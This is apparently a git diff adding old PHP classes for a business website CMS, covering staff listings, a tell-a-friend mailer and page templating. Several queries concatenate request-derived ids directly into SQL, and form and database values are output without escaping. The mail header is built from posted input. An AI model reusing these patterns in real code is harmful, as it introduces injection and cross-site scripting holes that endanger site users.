+require_once(BASE.'classes/class_template.inc');
+class GLM_STAFF extends GLM_TEMPLATE{
+       function GLM_STAFF()
+       {
+               parent::GLM_TEMPLATE(NULL);
+       }
+       
+       function getStaffDetail($catid,$busid)
+       {
+               $url = $this->get_seo_url(5);
+               $output = '<div id="breadcrumbs">Back to: <a
+                               href="'.$url.'">'.$this->get_catheader(5,&$this->DB).'</a></div>';
+               $query = "SELECT * FROM bus_category WHERE id = ".$catid;
+               $data = $this->DB->db_auto_get_data($query);
+               if(is_array($data))
+               {
+                       foreach($data as $key=>$value)
+                       {
+                               if($value['category'])
+                               {
+                                       $catname = $value["category"];
+                               }
+
+                       }
+               }
+               $query2 = "SELECT       * FROM bus where id = $busid";
+               $data2 = $this->DB->db_auto_get_data($query2);
+               if(is_array($data2))
+               {
+                       $count = 0;
+                       foreach($data2 as $key=>$value)
+                       {
+                               if($value['image'])
+                               {
+                                       if($value["email"])
+                                       {
+                                               $name = ($value["name"] != '') ? '<a href="mailto:'.$value["email"].'">'.$value["name"].'</a><br>': '';
+                                       }
+                                       else
+                                       {
+                                               $name = ($value["name"] != '') ? ''.$value["name"].'<br>': '';
+                                       }
+                                       $title = ($value["title"] != '') ? ''.$value["title"].'<br>': '';
+                                       $org = ($value["org"] != '') ? ''.$value["org"].'<br>': '';
+                                       $phone = ($value["phone"] != '') ? ''.$value["phone"].'<br>': '';
+                                       //$email = ($value["email"] != '') ? '<a href="'.$value["email"].'">'.$value["email"].'</a><br>': '';
+                                       $description = ($value["description"] != '') ? ''.nl2br($value["description"]).'<br>': '';
+                                       $output .= '<h2>'.$value["name"].'</h2> ';
+                                       $output .= '
+                                       <div style="margin-right:10px;float:left;"><img 
+                                               src="'.MIDSIZED.$value["image"].'" 
+                                               alt="'.$value["image"].'"></div>
+                                       <div style="float:left;margin-left:10px;width:auto;text-align:left;">'.
+                                                       $name.
+                                                       $title.
+                                                       $org.
+                                                       $phone.
+                                                       $email.
+                                                       $description.
+                                                       '</div>
+                                       ';
+                               }
+                               if(++$count == 4)
+                               {
+                                       $output .= '<br clear="all">
+                                       ';
+                               $count = 0;
+                               }
+                       }
+               }
+               $output = GLM_TEMPLATE::clean_text($output);
+               return('<div id="staff">'.$output.'</div>');
+       }
+       /**
+        * getStaff: used for output of staff listings
+        * @param $catid: id for bus_category table
+        * 
+        * @return string $outpu
+        * @access public
+        **/
+       function getStaff($catid)
+       {
+               $output = '';
+               $query = "SELECT * FROM bus_category WHERE id = ".$catid;
+               $data = $this->DB->db_auto_get_data($query);
+               $output .= '<p>Click an image to view details</p>
+               ';
+
+               $query2 = "SELECT       b.* FROM bus b LEFT OUTER JOIN bus_category_bus bcb ON
+                       (bcb.busid = b.id) WHERE bcb.catid = $catid order by bcb.pos";
+               $data2 = $this->DB->db_auto_get_data($query2);
+               if(is_array($data2))
+               {
+                       $count = 0;
+                       foreach($data2 as $key=>$value)
+                       {
+                               if($value['image'])
+                               {
+                                       if($value["email"])
+                                       {
+                                               $name = ($value["name"] != '') ? '<a href="mailto:'.$value["email"].'">'.$value["name"].'</a><br>': '';
+                                       }
+                                       else
+                                       {
+                                               $name = ($value["name"] != '') ? ''.$value["name"].'<br>': '';
+                                       }
+                                       $title = ($value["title"] != '') ? ''.$value["title"].'<br>': '';
+                                       $org = ($value["org"] != '') ? ''.$value["org"].'<br>': '';
+                                       $phone = ($value["phone"] != '') ? ''.$value["phone"].'<br>': '';
+                                       //$email = ($value["email"] != '') ? '<a href="'.$value["email"].'">'.$value["email"].'</a><br>': '';
+                                       $pagename = BASE_URL.'staff/';//GLM_TEMPLATE::get_seo_url( 5 );
+                                       //$busname = 'busid='.$value['id'];
+                                       $busname = GLM_TEMPLATE::set_name_url( $value['name'] );
+                                       if( SEO_URL )
+                                       {
+                                               $busname = GLM_TEMPLATE::set_name_url($value['name']).'-'.$value['id'].'/';
+                                       }
+                                       else
+                                       {
+                                               $busname = '&amp;id='.$value['id'];
+                                       }
+                                       $description = ($value["description"] != '') ? ''.nl2br($value["description"]).'<br>': '';
+                                       $output .= '<div class="thumb"><a href="'.$pagename.$busname.'"><img 
+                                               src="'.THUMB.$value["image"].'" border="0"
+                                               title="'.$value["name"].'" alt="'.$value["name"].'"></a>
+                                       <div class="photocattitle">'.
+                                                       $name.
+                                                       $title.
+                                                       $org.
+                                                       $phone.
+                                                       $email.
+                                                       '</div></div>
+                                       ';
+                               }
+                               if(++$count == 4)
+                               {
+                                       $output .= '<br clear="all">
+                                       ';
+                               $count = 0;
+                               }
+                       }
+               }
+               $output = GLM_TEMPLATE::clean_text($output);
+               return('<div id="staff">'.$output.'</div>');
+       }
+}
+?>
diff --git a/classes/class_tellfriend.inc b/classes/class_tellfriend.inc
new file mode 100755 (executable)
index 0000000..66cb849
--- /dev/null
@@ -0,0 +1,210 @@
+<?PHP
+class glm_tellfriend{
+var $message;  // Template message used in tell a friend mail
+/* Message Example
+*  "Dear {friend_name},
+*  Your buddy {senders_name} has been to www.whatever.com, and thought you
+*  might be interested in it.
+*
+*  Message from {senders_name}:
+*  {message}"
+*/
+var $thankyou; // Message to display after sending the email same tags available as in the $message
+var $base_url; // This is the base url of the site
+var $postto;   // This is a chopped version of PHP_SELF that cuts out the path.
+var $formvals; // Set to zero by default, but if there are form processing errors, it gets set and the form gets displayed autofilled
+
+       /**  glm_tellfriend
+       class constructor
+       @param base_url full path to this file -$PHP_SELF for use in form action=""
+       @param message string message to go in the email
+       @param thankyou string message to display after posting
+       @return void 
+       */
+       function glm_tellfriend($base_url,$message='',$thankyou='',$postto='')
+       {
+               // Base url is not optional, so just set it directly
+               $this->base_url=$base_url;
+               
+               // set post to
+               if($postto==''){
+                       $dvar=explode('/',$_SERVER[PHP_SELF]);
+                       $this->postto=$dvar[(sizeof($dvar)-1)]; // Neat way to get the last element
+               }else
+               {
+                       $this->postto=$postto;
+               }
+               // Set the formvals to 0
+               $this->formvals=0;
+               
+               // Set message text
+               if($message!='')
+               {
+                       // If a message string has been passed in, use it
+                       $this->message = $message;
+               }else{ // Otherwise, set a default
+$message="Dear {friend_name},
+Your friend {senders_name} has been to http://www.gaslightmedia.com, and thought you might be interested in it.
+
+Message from {senders_name}:
+{message}";
+                       $this->message = $message;
+               }
+               // Set thankyou text
+               if($thankyou!='')
+               {
+                       $this->thankyou=$thankyou;
+               }else{
+                       $thankyou="Thank you {senders_name}, your message has been sent to {friend_name}.";
+                       $this->thankyou=$thankyou;
+               }
+               // End of constructor method
+       }
+       
+       /**  show_form
+       shows the Tell a Friend form
+       @param int r number of rows in the message textarea
+       @param int c number of columns in the message textarea
+       @return void 
+       */ 
+       function show_form($r=3,$c=30)
+       {
+               // $r is the number of rows on the message
+               // $c is the number of columns on the message
+               
+               if($this->formvals == 0)
+               {
+                       $fname='';
+                       $femail='';
+                       $yname='';
+                       $yemail='';
+                       $msg='';
+               }elseif(is_array($this->formvals))
+               {
+                       $fname=$this->formvals[fname];
+                       $femail=$this->formvals[femail];
+                       $yname=$this->formvals[yname];
+                       $yemail=$this->formvals[yemail];
+                       $msg=$this->formvals[msg];
+               }
+               $output='<div id="tellafriend">
+               <form name="tellafriend" action="'.$this->base_url.$this->postto.'" method="post">
+               <div id="fname">
+                       <label for="friend_name">Associates Name:</label>
+                       <input type="text" name="friend_name" id="friend_name" value="'.$fname.'">
+               </div>
+               <div id="femail">
+                       <label for="friend_addy">Associates Email:</label>
+                       <input type="text" name="friend_email" id="friend_email" value="'.$femail.'">
+               </div>
+               <div id="messageto">
+                       <label for"message">Message to Associate:</label><br>
+                       <textarea name="message" id="message" cols="'.$c.'" rows="'.$r.'">'.$msg.'</textarea>
+               </div>
+               <div id="yname">
+                       <label for="senders_name">Your Name:</label>
+                       <input type="text" name="senders_name" id="senders_name" value="'.$yname.'">
+               </div>
+               <div id="yemail">
+                       <label for="senders_email">Your Email:</label>
+                       <input type="text" name="senders_email" id="senders_email" value="'.$yemail.'">
+               </div>
+               <div id="frsubmit">
+                       <input type="submit" name="submit" id="submit" value="Send Email">
+               </div>
+               ';
+               
+               $output.="</form>\n</div>\n";
+               echo $output;
+               //phpinfo();
+       }
+       
+       /**  valid email
+       Checks for a valid format and good (mx check) 
+       email address.
+       @param string email the email address as string.
+       @return boolean 
+       */ 
+       function valid_email ($email) { 
+               $check='';
+               $validate_email_temp='';
+               if (eregi('^[0-9a-z]([-_.]?[0-9a-z])*@[0-9a-z]([-.]?[0-9a-z])*\\.[a-z]{2,3}$', $email, $check)) { 
+                       if ( getmxrr(substr(strstr($check[0], '@'), 1), $validate_email_temp) ) { 
+                               return TRUE; 
+                       } 
+               } 
+               return FALSE; 
+       }
+       
+       /** process_form
+       validates the email addresses, htmlspecialchars the message, sends the email
+       @return boolean
+       **/
+       function process_form()
+       {
+               //phpinfo();
+               // Double check that stuff was submitted
+               if(!isset($_POST[submit]))
+               {
+                       return 0;
+               }else
+               {
+                       // The real work begins
+                       // Check the email addresses
+                       if($this->valid_email($_POST[senders_email])==FALSE)
+                       {
+                               $error[]="<B>Error:</b> the email address you entered for yourself is invalid<br>\n";
+                       }
+                       if($this->valid_email($_POST[friend_email])==FALSE)
+                       {
+                               $error[]="<B>Error:</b> the email address you entered for your associate is invalid</br>\n";
+                       }
+                       // See if $error isset and is_array, if it is, the buck stops here, because they screwed up.
+                       if(isset($error) && is_array($error))
+                       {
+                               $this->formvals=array(
+                               "fname" => $_POST[friend_name],
+                               "femail" =>$_POST[friend_email],
+                               "yname" =>$_POST[senders_name],
+                               "yemail" =>$_POST[senders_email],
+                               "msg" =>$_POST[message]);
+                               
+                               for($i=0;$i<sizeof($error);$i++)
+                               {
+                                       echo $error[$i];
+                               }
+                               $this->show_form();
+                               return 0;
+                       }else
+                       {
+                               // Everything looks good, process the form and mail it out.
+                               $message = str_replace('{senders_name}',$_POST[senders_name],$this->message); // only the first replace references the class message
+                               $message = str_replace('{friend_name}',$_POST[friend_name],$message);
+                               $message = str_replace('{message}',$_POST[message],$message);
+                               // Same thing with the thankyou msg, only the first replace needs the $this->thankyou
+                               $thankyou = str_replace('{senders_name}',$_POST[senders_name],$this->thankyou);
+                               $thankyou = str_replace('{friend_name}',$_POST[friend_name],$thankyou);
+                               $subject = $_POST[senders_name].' wanted you to see this site';
+                               $headers = "From: ".$_POST[senders_email]."\n";
+                               
+                               mail($_POST[friend_email],"Tell a friend",$message,$headers);
+                               
+                               //echo "<BR>Mail command params\n".$_POST[friend_email]." \n<br>".$subject."\n<br>".$message."\n\n";
+                               echo $thankyou;
+                       }
+                       
+               }
+       }
+       
+       function jfdi()
+       {
+               if(isset($_POST[submit]))
+               {
+                       $res = $this->process_form();
+               }else
+               {
+                       $this->show_form();
+               }
+       }
+}
+?>
diff --git a/classes/class_template.inc b/classes/class_template.inc
new file mode 100755 (executable)
index 0000000..3795828
--- /dev/null
@@ -0,0 +1,1807 @@
+<?php
+// $Id: class_template.inc,v 1.1.1.1 2006/03/27 14:44:14 cscott Exp $
+/** NOTE: for the search engine freindly url's use .htaccess file.
+need to make sure .htaccess is enabled or this work work
+to turn off seo url's set define SEO_URL to 0 in setup file
+.htaccess -> example follows:
+Options +FollowSymLinks
+ErrorDocument 404 /www.?????.com/sitemap.php?nf=1
+RewriteEngine On
+RewriteBase /
+RewriteRule (.*)-([0-9]{1,4}) index\.phtml?catid=$2
+RewriteRule site-map sitemap.php
+*/
+require_once(BASE."classes/class_db.inc");
+class GLM_TEMPLATE{
+
+       /** @var header_begin The style starting for header */
+       var $header_begin;
+       /** @var header_end The style ending for header*/
+       var $header_end;
+       /** @var subheader_begin The style starting for header */
+       var $subheader_begin;
+       /** @var subheader_end The style ending for header*/
+       var $subheader_end;
+       /** @var img_align The alignment of images*/
+       var $img_align;
+       /** @var img_alternate 1 alternate images 0 not*/
+       var $img_alternate;
+       /** @var img_size The path to the image directory*/
+       var $img_size;
+       /** @var DB The database class*/
+       var $DB;
+       /** @var data The category array*/
+       var $data;
+       /** @var items The items array*/
+       var $items;
+       /** @var type The type*/
+       var $type;      
+       /** @var whole_thread The thread string*/
+       var $whole_thread;
+       /** @var thread_count The thread count*/
+       var $thread_count;
+       /** @var catid  catid for te page */
+       var $catid;
+       /** @var array $pages */
+       var $pages;
+       /** @var $active_query string adding active = 't' to queries only if ACTIVE_FLAG is set to true */
+       var $active_query;
+       /** @var $template integer determines page layout */
+       var $template;
+       /** @var $php_ext pgae extension for php pages .php or .phtml */
+
+       /**
+       * GLM_TEMPLATE:Contsructor of the class
+       * This function is run on intialization.
+       * Any setup vars should be overwritten by creating a new class
+       * that extends this one and setting new vars in the constructor.
+       *
+       * @param $catid: catid Must be set
+       * 
+       * @return void 
+       * @access 
+       **/
+       function GLM_TEMPLATE( $catid, $DB = NULL )
+       {
+               $this->get_catid( $catid );         // sets $this->catid
+               $this->set_DB( &$DB );                  // using a reference to $DB (should be started on setup.phtml
+               $this->header_begin = "<h1>";   // class="content" should not be used anymore 
+               $this->header_end = "</h1>";    // create style for p h1 h2 tags if needed try to keep it clean
+               $this->subheader_begin = "<h2>";// should not be using h3 here duh go from 1 to 2 instead
+               $this->subheader_end = "</h2>"; // like your suppose to
+               $this->img_alternate = 1;               // for alternating images set to 1 else leave alone
+               $this->img_align = "left";                      // the starting postion for images change to left if needed
+               $this->img_size = MIDSIZED;             // img_size are RESIZED,MIDSIZED,THUMB do not use ORIGINAL
+               $this->whole_thread = "";               // do not touch this it is used for menu generation
+               $this->thread_count = 1;                // also used for menu generation
+               $this->php_ext = '.phtml';              // defaults to .phtml
+               $this->set_pages( &$GLOBALS['PAGES'] );
+       }
+       
+
+       /**
+        * set_active_query: some toolboxes have an active flag some do not 
+        * so this is to allow both with and without a flag. 
+        * 
+        * @return 
+        * @access 
+        **/
+       function set_active_query()
+       {
+               if( ACTIVE_FLAG )
+               {
+                       $this->active_query = " and active = 't'";
+               }
+               return( $this->active_query );
+       }
+       
+
+       /**
+          * get_hit_count: find out how many top level categories have at least one category under
+          * them.
+          * @param $&$DB : Database object
+          * 
+          * @return 
+          * @access 
+          **/
+       function get_hit_count( &$DB )
+       {
+               $query = 'select id from bus_category where parent in ( select id from bus_category where
+                               parent = 0) and parent != 0';
+               $res = $DB->db_auto_get_data( $query );
+               if( !$res )
+               {
+                       return( 0 );
+               }
+               else
+               {
+                       return( count( $res ) );
+               }
+       }
+       
+       /**
+       * get_seo_url: grab category part of the seoarch engine friendly url
+       looks at define for seo_url to see weather to use the seach engine friendly url's or not
+        * @param $id: 
+        * @param $$slash = 1 : to put a slash on end or not
+        * 
+        * @return string $url for page.
+        * @access public
+        **/
+       function get_seo_url( $id, $slash = 1 )
+       {
+               if( SEO_URL )
+               {
+                       $url = BASE_URL;
+                       $url .= GLM_TEMPLATE::set_name_url( GLM_TEMPLATE::get_category_name( $id, "bus_category", $this->DB ) );
+                       $url = strip_tags( $url );
+                       $url = htmlspecialchars( $url );
+                       if( $slash )
+                       {
+                               $url .= '/';
+                       }
+               }
+               else
+               {
+                       $url = $this->get_base_url( $id );
+                       if( $url )
+                       {
+                               $url = BASE_URL.$url;
+                               $url .= $this->php_ext.'?catid='.$id;
+                       }
+                       else
+                       {
+                               $url = BASE_URL;
+                       }
+               }       
+
+               return( $url );
+       }
+       /**
+       * set_DB: set the DB up to be that of the global one if it exists
+        * @param $$DB : the DB object 
+        * 
+        * @return void
+        * @access public
+        **/
+       function set_DB( $DB )
+       {
+               if( isset( $DB ) )
+               {
+                       $this->DB =& $DB;
+               }
+               else
+               {
+                       $this->DB =& new GLM_DB();
+               }
+       }
+
+       /**
+       * set_pages: grab the globals for the pages an use this for 
+               the pages array for the class
+        * 
+        * @return void
+        * @access public 
+        **/
+       function set_pages( $pages )
+       {
+               if( is_array( $pages ) )
+               {
+                       $this->pages =& $pages;
+               }
+       }
+       
+       /**
+       * set_catid:Set the class catid var
+       * @param $catid: $catid
+       * 
+       * @return void 
+       * @access public 
+       **/
+       function set_catid( $catid )
+       {
+               if( is_numeric( $catid ) )
+               {
+                       $this->catid = $catid;
+               }
+               else
+               {
+                       $this->catid = 1;
+               }
+       }
+
+       /**
+        * get_id_from_path_info: takes the path_info and gets a catid from bus_category table
+        * @param $PATH_INFO: GLOBAL PATH_INFO 
+        * @param $&$dbd : object database 
+        * 
+        * @return int catid
+        * @access public
+        **/
+       function get_id_from_path_info( $PATH_INFO, &$dbd )
+       {
+               //echo "$PATH_INFO";
+               $var_array = explode( "/", $PATH_INFO );
+               if( count( $var_array ) > 0 )
+               {
+                       $it=$var_array[(sizeof($var_array) - $chop)];
+                       if( $it != "" && $it != "blank")
+                               {
+                                       $catid = GLM_TEMPLATE::get_id_from_name( $it,"bus_category", &$dbd );
+                               }
+               }
+               return( $catid );
+       }
+
+       /**
+        * get_catid: calls the get_id_from_path and can be placed into the consructor
+        * 
+        * @return int catid 
+        * @access public 
+        **/
+       function get_catid( $catid )
+       {
+               if( isset( $catid ) && is_numeric( $catid ) )
+               {
+                       return( $this->catid = $catid );
+               }
+               if(!isset($_GET[page]))
+               {
+                       $this->catid = $this->get_id_from_path_info( $PATH_INFO, &$this->DB );
+               }
+               else
+               {
+                       $this->catid = $this->get_id_from_name($page, "bus_category",&$this->DB);
+               }       
+               return( $this->catid );
+       }
+
+       /**
+       * set_contact:Set the contact string
+
+       * @param $text: The text as string
+       * @param $email: email if givin 
+       * 
+       * @return string $text 
+       * @access 
+       **/
+       function set_contact( $text, $email )
+       {
+               if( $email != "" )
+               {
+                       $text = "";
+               }
+               else
+               {
+                       $text = '<p><strong>Contact Name:</strong>&nbsp;'.$text.'</p>';
+               }
+               return($text);
+       }
+
+       function fix_urls($string) 
+       {
+               preg_match_all ("|href\=\"?'?`?([[:alnum:]:?=&@/._-]+)\"?'?`?|i", $string, &$matches);
+               if( is_array( $matches[1] ) )
+               {
+                       foreach( $matches[1] as $key => $val )
+                       {
+                               if( !stristr( $val, "http" ) && !stristr( $val, "mailto" ) )
+                               {
+                                       $ret[] = array( 'in'=>$val,'out'=>BASE_URL.$val);
+                               }
+                       }
+               }
+               if( is_array( $ret ) )
+               {
+                       foreach( $ret as $k => $val )
+                       {
+                               $string = str_replace( $val['in'], $val['out'], $string );
+                       }
+               }
+               return $string;
+       }
+       /**
+       * set_text:Set the contact string
+       * @param $text: The text as string
+       * 
+       * @return string $text
+       * @access 
+       **/
+       function set_text( $text )
+       {
+               if("" == str_replace("<br />","",trim($text)))
+               {
+                       return(false);
+               }
+               if( $text != "" )
+               {
+                       //$text = str_replace( "<a href=\"HTTP://","<a target=\"_blank\" href=\"http://", $text );
+                       $text = $this->keyword_replace( $text );
+                       $text = nl2br( $text );
+                       //$text = $this->fix_urls( $text );
+               }
+               return($text);
+       }
+
+       /**
+        * get_image_path: get image path from the size used
+        * 
+        * @return path for images
+        * @access public
+        **/
+       function get_image_path()
+       {
+               if( strstr($this->img_size,'midsized/') )
+               {
+                       return( MIDSIZED_PATH );
+               }
+               if( strstr($this->img_size,'resized/') )
+               {
+                       return( RESIZED_PATH );
+               }
+               if( strstr($this->img_size,'thumb/') )
+               {
+                       return( THUMB_PATH );
+               }
+       }
+       
+       /**
+       * set_img:Set the image string
+       * @param $image: The image
+       * @param $size: The path
+       * @param $align: The alignment
+       * @param $name: The image_name (displayed under image)
+       * @param $title: Title if given 
+       * 
+       * @return 
+       * @access 
+       **/
+       function set_img( $image, $size, $align, $title )
+       {
+               if( $image != "" )
+               {
+                       if( $title != '')
+                       {
+                               $titletag = 'title="'.htmlspecialchars(strip_tags($title)).'"';
+                               $titletag .= ' alt="'.htmlspecialchars(strip_tags($title)).'"';
+                       }
+                       else
+                       {
+                               $titletag = 'title="'.htmlspecialchars(strip_tags($image)).'"';
+                               $titletag .= ' alt="'.htmlspecialchars(strip_tags($image)).'"';
+                       }
+                       if( $align != "" )
+                       {
+                               $img_align = 'class="image'.$align.'"';
+                       }
+                       $path = $this->get_image_path();
+                       if( is_file( $path.$image ) )
+                       {
+                               $image_size = getimagesize( $path.$image );
+                               $img_attr = $image_size[3];
+                       }
+                       if(file_exists(ORIGINAL_PATH.$image))
+                       {
+                               $size2 = getimagesize(ORIGINAL_PATH.$image);
+                               $width = $size2[0] + 0;
+                               $height = $size2[1] + 0;
+                       }
+                       $img .= '<a href="#" onClick="window.open(\''.BASE_URL.'view.phtml?img='.$image.'\',\'popuphole1\',\'height='.$height.',width='.$width.',scrollbars=no\');return(false);"><img '.$img_attr.' src="'.$size.$image.'" '.$titletag.' '.$img_align.' border="0"></a>';
+                       $this->imgfloat["$img"] = $align;
+                       return($img);
+               }
+       }
+
+       /**
+       * set_url:Set the url string
+       * @param $url: The url
+       * @param $text: The text as string
+       * 
+       * @return string $text
+       * @access 
+       **/
+       function set_url( $url, $text )
+       {
+               if( $url != "" )
+               {
+                       if( !$text )
+                       {
+                               $text = $url;
+                       }
+                       if( strtolower( substr( $url, 0, 7 ) ) == "https://" )
+                       {
+                               $url = '<p><a href="'.$url.'" target="_blank">'.$text.'</a></p>';
+                       }
+                       else
+                       {
+                               $url = '<p><a href="http://'.$url.'" target="_blank">'.$text.'</a></p>';
+                       }
+               }
+               return( $url ); 
+       }
+
+       /**
+       * set_email:Set the email string
+       * @param $email: The email as string
+       * @param $contact: The contactname this is used as the link text
+       * 
+       * @return string $text 
+       * @access 
+       **/
+       function set_email( $email, $contact )
+       {
+               if( $email != "" )
+               {
+                       if( $contact != "" )
+                       {
+                               $email = '<p><strong>Contact:</strong>&nbsp;&nbsp;<a href="mailto:'.$email.'" target="_blank">'.$contact.'</a></p>';
+                       }
+                       else
+                       {
+                               $email = '<p><strong>Email:</strong>&nbsp;&nbsp;<a href="mailto:'.$email.'" target="_blank">'.$email.'</a></p>';
+                       }
+               }
+               return( $email );       
+       }
+
+       /**
+       * set_header:Set the header string
+       * @param $text: The text as string
+       * 
+       * @return string $text 
+       * @access 
+       **/
+       function set_header( $text )
+       {
+               if( $text != "" )
+               {
+                       $text = $this->header_begin.$text.$this->header_end;    
+               }
+               return( $text );
+       }
+
+       /**
+       * set_subheader:Set the subheader string
+       * @param $text: The text as string
+
+       * 
+       * @return string $text 
+       * @access 
+       **/
+       function set_subheader( $text )
+       {
+               if( $text != "" )
+               {
+                       $text = $this->subheader_begin.$text.$this->subheader_end;      
+               }
+               return( $text );
+       }
+
+       /**
+       * set_phone:Set the phone string
+       * @param $text: The text as string
+       * 
+       * @return string $text 
+       * @access 
+       **/
+       function set_phone( $text )
+       {
+               if( $text != "" )
+               {
+                       $text = '<p><strong>Phone:</strong>&nbsp;&nbsp;'.$text.'</p>';  
+               }
+               return( $text );
+       }
+
+       /**
+       * set_fax:Set the fax string
+       * @param $text: The text as string
+       * 
+       * @return string $text 
+       * @access 
+       **/
+       function set_fax( $text )
+       {
+               if( $text != "" )
+               {
+                       $text = '<p><strong>Fax:</strong>&nbsp;&nbsp;'.$text.'</p>';    
+               }
+               return( $text );
+       }
+
+       /**
+       * set_file:Set the file string
+       * @param $text: The text as string
+       * @param $name: The file name displayed
+       * 
+       * @return string $text 
+       * @access 
+       **/
+       function set_file( $text, $name )
+       {
+               if( $text != "" )
+               {
+                       $outtext = '<p><a href="'.URL_BASE.'uploads/'.$text.'" target="_blank">';
+                               if($name)
+                               $outtext .= $name;
+                               else
+                               $outtext .= $text;
+                               $outtext .= '</a></p>';
+               }
+               return( $outtext );
+       }
+
+       /**
+       * set_address:set_address
+       * @param $data: data contain the address info for display.
+       * 
+       * @return string $address
+       * @access 
+       **/
+       function set_address( $data )
+       {
+               $address = "";
+               if( $data["address"] )
+               {
+                       $address .= $data["address"];
+               }
+               if( $data["city"] && $data["state"] && $data["zip"] )
+               {
+                       $address .= '<br>'.$data["city"].', '.$data["state"].' '.$data["zip"];
+               }       
+               elseif( $data["city"] && $data["state"] )
+               {
+                       $address .= '<br>'.$data["city"].', '.$data["state"];
+               }
+               elseif( $data["city"] )
+               {
+                       $address .= '<br>'.$data["city"];
+               }
+               if( $address != "" )
+               {
+                       return( '<p>'.$address.'<br></p>' );
+               }
+       }
+
+       /**
+       * get_all:Does the query and set_data calls boths arrays
+       * 
+       * @return void
+       * @access 
+       **/
+       function get_all( $type = NULL )
+       {
+               $catid = $this->catid; 
+               if( $type == 1 || !$type )
+               {
+                       $cat_query = "select * from bus_category where id = $catid ".$this->active_query." order by pos";  
+                       $res = $this->set_data( $this->DB->db_auto_get_data( $cat_query ) );
+                       $this->data = $res[0];
+               }
+               if( $type == 2 || !$type )
+               {
+                       $item_query = "select b.* from bus b left outer join bus_category_bus bcb on (bcb.busid = b.id) where bcb.catid = $catid order by bcb.pos";
+                       $this->items = $this->set_data( $this->DB->db_auto_get_data( $item_query ) );
+               }
+       }
+
+       /**
+       * set_data:Calls each function of the class
+       * based on the key af the array $data[0][$key]
+       * @param $data: The input array from db query
+       * 
+       * @return array data The finished array
+       * @access 
+       **/
+       function set_data( $data )
+       {
+               if( is_array( $data ) )
+               {
+                       foreach( $data as $k => $val )
+                       {
+                               foreach( $val as $key => $value )
+                               {
+                                       if( strstr( $key, "image" ) && !strstr( $key, "name") && $value != "" )
+                                       {
+                                               $titletag = ( $data[$k]['category'] ) ? $data[$k]['category'] : $data[$k]['name'];
+                                               $data[$k][$key."_name"] = $value;
+                                               $data[$k][$key] = $this->set_img( $value, $this->img_size, $this->img_align, $data[$k][$key."name"].$titletag );
+                                               if( !strstr( $key, "name" ) )
+                                               {
+                                                       if( $this->img_align == "right" && $this->img_alternate )
+                                                       {
+                                                               $this->img_align = "left";
+                                                       }
+                                                       elseif( $this->img_alternate )
+                                                       {
+                                                               $this->img_align = "right";
+                                                       }
+                                               }
+                                       }
+                                       elseif( strstr($key,"file") && strstr($key,"name") && $value!="" )
+                                       {
+                                       }
+                                       elseif( strstr($key,"url") && strstr($key,"name") && $value!="" )
+                                       {
+                                       }       
+                                       elseif( strstr($key,"descr") && $value != "" )
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_text( $value );
+                                       }
+                                       elseif( $key == "contactname" && $value != "" )
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_contact( $value, $data[$k]['email'] );
+                                       }
+                                       elseif($key == "name" && $value!="")
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_subheader( $value );
+                                       }
+                                       elseif( strstr( $key, "header" ) && $value != "" )
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_subheader( $value );
+                                       }
+                                       elseif( $key == "intro" && $value != "" )
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_header( $value );
+                                       }
+                                       elseif( $key == "category" && $value != "" )
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_header( $value );
+                                       }
+                                       elseif( $key == "url" && $value != "" )
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_url( $value, $data[$k]["urlname"] );
+                                       }
+                                       elseif( $key == "email" && $value!="")
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_email( $value, $data[$k]["contactname"] );
+                                       }
+                                       elseif( $key == "phone" && $value != "" )
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_phone($value);
+                                       }
+                                       elseif( $key == "fax" && $value != "" )
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_fax( $value );
+                                       }
+                                       elseif (strstr( $key, "file" ) && $value!="")
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_file( $value, $data[$k][$key.'name'] );
+                                       }
+                                       elseif( $key == "address" )
+                                       {
+                                               $data[$k][$key] =  GLM_TEMPLATE::set_address( $data[$k] );
+                                       }
+                                       elseif( $key == "id" )
+                                       {
+                                               $data[$k][$key] = $value;
+                                       }
+                                       else
+                                       {
+                                               $data[$k][$key] = GLM_TEMPLATE::set_text( $value );
+                                       }
+                               }
+                       }       
+                       return( $data );
+               }       
+               return( false );
+       }
+
+       /**
+       * load_static_page:using object buffer include the page $catid.phtml from static dir
+       and return it as string
+       * 
+       * @return string $text 
+       * @access 
+       **/
+       function load_static_page()
+       {
+               if( file_exists( BASE."static/".$this->catid.".phtml" ) )
+               {
+                       ob_start();
+                       include("static/".$this->catid.".phtml");
+                       $text = ob_get_contents();
+                       ob_end_clean();
+                       return($text);
+               }
+       }
+
+       /**
+       * clean_text:Do some text clean up.
+       * @param $output: 
+       * 
+       * @return string text cleaned
+       * @access 
+       **/
+       function clean_text($output)
+       {
+               $output = str_replace("<br />","<br>",$output);
+               $output = str_replace("<p><br></p>","",$output);
+               return($output);
+       }
+
+       /**
+       * get_category: grab just category contents
+       * @param $catid: id of bus_category
+       * @param $DB: 
+       * @param $$showimg=1: weather or not to show category image
+       * 
+       * @return string $output
+       * @access public
+       **/
+       function get_category( $showimg = 1,$showdiv=1 )
+       {
+               if( DELUXE_TOOLBOX )
+               {
+                       $this->get_template( "cat" );
+               }
+                       
+               if( !$this->data )
+               {
+                       $this->get_all( 1 );
+               }
+               $data = $this->data;
+               if($showdiv==1)
+               {
+                       $output .= '<div id="category">'."\n";
+               }
+               if( $this->catid == 1 )
+               {
+               //      $output .= $this->get_home_events();
+               }
+               if($data["image"] || $data["description"] || $data["intro"] )
+               {
+                       //$output .=$data["intro"]." ";
+                       if($showimg == 1)
+                       {
+                               $output .=$data["image"]." ";
+                       }
+                       $output .=$data["intro"]." ";
+                       $output .=$data["description"]." ";
+               }
+               if($showdiv==1)
+               {
+                       $output .= '</div>'."\n";
+               }
+               $output = GLM_TEMPLATE::clean_text($output);
+               return( $output );
+
+       }
+
+       /**
+        * get_page: replacing template_parser with get-page function
+        * 
+        * @return 
+        * @access 
+        **/
+       function get_page( $showimg = 1,$showdiv=1 )
+       {
+               $out .= $this->get_category( $showimg,$showdiv );
+               $out .= $this->get_listings();
+               return( $out );
+       }
